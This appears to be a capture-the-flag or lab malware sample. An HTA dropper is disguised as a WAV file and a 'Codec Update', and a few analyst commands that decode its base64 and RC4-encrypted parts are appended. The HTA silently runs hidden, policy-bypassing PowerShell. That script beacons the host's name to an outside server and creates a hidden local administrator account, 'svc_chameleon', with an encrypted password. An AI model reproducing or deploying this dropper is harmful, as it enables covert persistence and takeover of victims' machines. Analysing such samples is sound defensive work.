shell.hta

RIFFZWAVEfmt ��wdata6<html>
<head>
<hta:application id="app" windowState="minimize" showInTaskbar="no" />
<title>Codec Update</title>
<script language="JScript">
try {
  var q = "JABlAHAAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AdABlAGwAZQBtAGUAdAByAHkALgBzAHQAZQBhAG0ALQBjAG8AbgB0AGUAbgB0AC0AYwBkAG4ALgB0AGgAbQAvAGEAcABpAC8AdgAyAC8AaABlAGEAcgB0AGIAZQBhAHQAIgAKACQAdQBhACAAPQAgACIATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAAMQAwAC4AMAA7ACAAVwBpAG4ANgA0ADsAIAB4ADYANAApACAATQBlAGMAYwBoAGEAQwBsAGkAZQBuAHQALwA0AC4AMAAiAAoAdAByAHkAIAB7ACAASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAZQBwACAALQBNAGUAdABoAG8AZAAgAFAATwBTAFQAIAAtAFUAcwBlAHIAQQBnAGUAbgB0ACAAJAB1AGEAIAAtAEIAbwBkAHkAIAAoACIAaQBkAD0AIgAgACsAIAAkAGUAbgB2ADoAQwBPAE0AUABVAFQARQBSAE4AQQBNAEUAKQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADMAIAB8ACAATwB1AHQALQBOAHUAbABsACAAfQAgAGMAYQB0AGMAaAAgAHsAfQAKAAoAZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBTAHQAcgBlAGEAbQAgAHsACgAgACAAIAAgAHAAYQByAGEAbQAoAFsAYgB5AHQAZQBbAF0AXQAkAEIAdQBmACwAIABbAGIAeQB0AGUAWwBdAF0AJABTAGsAKQAKACAAIAAgACAAJABTAGIAbwB4ACAAPQAgADAALgAuADIANQA1AAoAIAAgACAAIAAkAGEAIAA9ACAAMAAKACAAIAAgACAAZgBvAHIAIAAoACQAbgAgAD0AIAAwADsAIAAkAG4AIAAtAGwAdAAgADIANQA2ADsAIAAkAG4AKwArACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAYQAgAD0AIAAoACQAYQAgACsAIAAkAFMAYgBvAHgAWwAkAG4AXQAgACsAIAAkAFMAawBbACQAbgAgACUAIAAkAFMAawAuAEwAZQBuAGcAdABoAF0AKQAgACUAIAAyADUANgAKACAAIAAgACAAIAAgACAAIAAkAHQAbQBwACAAPQAgACQAUwBiAG8AeABbACQAbgBdADsAIAAkAFMAYgBvAHgAWwAkAG4AXQAgAD0AIAAkAFMAYgBvAHgAWwAkAGEAXQA7ACAAJABTAGIAbwB4AFsAJABhAF0AIAA9ACAAJAB0AG0AcAAKACAAIAAgACAAfQAKACAAIAAgACAAJABhACAAPQAgADAAOwAgACQAYgAgAD0AIAAwAAoAIAAgACAAIAAkAHIAZQBzACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACQAQgB1AGYALgBMAGUAbgBnAHQAaAAKACAAIAAgACAAZgBvAHIAIAAoACQAbQAgAD0AIAAwADsAIAAkAG0AIAAtAGwAdAAgACQAQgB1AGYALgBMAGUAbgBnAHQAaAA7ACAAJABtACsAKwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAGEAIAA9ACAAKAAkAGEAIAArACAAMQApACAAJQAgADIANQA2AAoAIAAgACAAIAAgACAAIAAgACQAYgAgAD0AIAAoACQAYgAgACsAIAAkAFMAYgBvAHgAWwAkAGEAXQApACAAJQAgADIANQA2AAoAIAAgACAAIAAgACAAIAAgACQAdABtAHAAIAA9ACAAJABTAGIAbwB4AFsAJABhAF0AOwAgACQAUwBiAG8AeABbACQAYQBdACAAPQAgACQAUwBiAG8AeABbACQAYgBdADsAIAAkAFMAYgBvAHgAWwAkAGIAXQAgAD0AIAAkAHQAbQBwAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAWwAkAG0AXQAgAD0AIAAkAEIAdQBmAFsAJABtAF0AIAAtAGIAeABvAHIAIAAkAFMAYgBvAHgAWwAoACQAUwBiAG8AeABbACQAYQBdACAAKwAgACQAUwBiAG8AeABbACQAYgBdACkAIAAlACAAMgA1ADYAXQAKACAAIAAgACAAfQAKACAAIAAgACAAcgBlAHQAdQByAG4AIAAkAHIAZQBzAAoAfQAKAAoAJABzAGsAIAAgAD0AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAQgB5AHQAZQBzACgAIgBOADMAMABuAEMAaAA0AG0AMwBsADMAMABuACIAKQAKACQAYwB0ACAAIAA9ACAAIgBqAFAAOABHAE0AMQBXAEsAegBZAE4ARQAwAGsAbwBuAEwAUgBEAGoAZgBoAEUAbAArAG4AdwByAFEAQQBMAGkANgA2ADYAYgBWADMAcgBXAE8AYQBBAFUAWQB3AHYAQwBUAGIAYwBlAHEAMwBlAFAAKwBSAGoAVQB2AGcAPQA9ACIACgAkAGQAZQBjACAAPQAgAEcAZQB0AC0AUwB0AHIAZQBhAG0AIAAtAEIAdQBmACAAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYwB0ACkAKQAgAC0AUwBrACAAJABzAGsACgAkAHYAYQBsACAAPQAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAZABlAGMAKQAKAAoAJABhAGMAYwB0ACAAPQAgACIAcwB2AGMAXwBjAGgAYQBtAGUAbABlAG8AbgAiAAoAdAByAHkAIAB7AAoAIAAgACAAIABuAGUAdAAgAHUAcwBlAHIAIAAkAGEAYwBjAHQAIAAkAHYAYQBsACAALwBhAGQAZAAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAgACAAIAAgAG4AZQB0ACAAbABvAGMAYQBsAGcAcgBvAHUAcAAgAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAcwAgACQAYQBjAGMAdAAgAC8AYQBkAGQAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAfQAgAGMAYQB0AGMAaAAgAHsAfQAKAA==";
  var r = "powershell.exe -nop -w hidden -ep bypass -enc " + q;
  new ActiveXObject("WScript.Shell").Run(r, 0, false);
} catch (e) {}
window.close();
</script>
</head>
<body></body>

echo "JABlAHAAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AdABlAGwAZQBtAGUAdAByAHkALgBzAHQAZQBhAG0ALQBjAG8AbgB0AGUAbgB0AC0AYwBkAG4ALgB0AGgAbQAvAGEAcABpAC8AdgAyAC8AaABlAGEAcgB0AGIAZQBhAHQAIgA=" | base64 -d | iconv -f UTF-16LE -t UTF-8


echo "JABhAGMAYwB0ACAAPQAgACIAcwB2AGMAXwBjAGgAYQBtAGUAbABlAG8AbgAiAA==" | base64 -d | iconv -f UTF-16LE -t UTF-8

python3 -c "exec('import base64\nkey=b\"N30nCh4m3l30n\"\nct=base64.b64decode(\"jP8GM1WKzYNE0konLRDjfhEl+nwrQALi666bV3rWOaAUYwvCTbceq3eP+RjUvg==\")\nS=list(range(256))\nj=0\nfor i in range(256):\n j=(j+S[i]+key[i%len(key)])%256\n S[i],S[j]=S[j],S[i]\ni=j=0\nout=bytearray()\nfor b in ct:\n i=(i+1)%256\n j=(j+S[i])%256\n S[i],S[j]=S[j],S[i]\n out.append(b^S[(S[i]+S[j])%256])\nprint(len(out))\nprint(out.hex())\nprint(repr(bytes(out)))')"